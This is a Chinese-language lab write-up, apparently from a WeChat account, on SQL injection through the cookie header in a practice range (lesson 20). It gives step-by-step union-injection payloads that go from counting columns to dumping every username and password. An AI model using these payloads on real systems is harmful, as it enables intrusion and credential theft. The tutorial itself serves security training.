鲁迅先生曾经说过:做安全,先免责!
用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。
本文主要内容:HTTP头部注入——cookie
注入
cookie注入
可以将cookie
理解为临时身份证。某些网站为了辨别用户信息,进行Session
跟踪而存储在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息。
作用:暂时记录用户个人信息,且可以保存在客户机上。
代码审计
打开靶场第20节的源代码,是用了check_input
函数对用户名和密码进行了检查
check_input
函数检查内容如下,同前面一样,不在多余赘述。
使用setcookie
函数设置cookie
信息,setcookie
函数原型如下
- 原型:
setcookie(name,value,expire,path,domain,secure)
name
:必选。规定cookie的名称value
:必选。规定cookie的值expire
:可选。规定cookie的有效期path
:可选。规定cookie的服务器路径domain
:可选。规定cookie的域名secure
:可选。规定是否通过安全的HTTPS连接来传输cookie
生成cookie之后,在有效期内再次刷新页面,客户端向数据库服务器发送cookie进行验证,不需要再次输入用户名和密码,且提交的$cookee不再进行check_input验证。
小结:输入用户名和密码后,网站生成cookie。后续访问网站会携带cookie,不再需要输入用户名和密码(也有不会再有check_input
的检查)。接着网站会从cookie中获取用户名,如果用户名存在则允许登录网站,否则拒绝访问。
靶场实战
打开靶场第20节,使用admin
账号登录网站
刷新网页页面,使用Burp suite
抓包。
在Burp ssuite
中抓取数据包,可以看到cookie
的内容为用户名。
在源代码中可以看到,已登录用户每次访问网页,都会执行以下的sql语句。因此使用union
注入
判断列数
因为使用union
注入,因此按照union
注入的流程。
参数:uname=admin' order by 4 #
,页面报错,列数小于4
参数:uname=admin' order by 3 #
,页面正常显示,因此列数为3。
查询回显位
参数:uname=admi' union select 1,2,3 #
,将admin
改为admi
(不存在的内容),便于判断回显位。
查询数据库名称
参数:uname=admi' union select 1,2,database() #
查询表名称
参数:uname=admi' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) #
查询列名称
参数:uname=admi' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') #
查询数据
参数:uname=admi' union select 1,2,(select group_concat(username,':',password) from users) #
无情的广告时间
哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊
,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!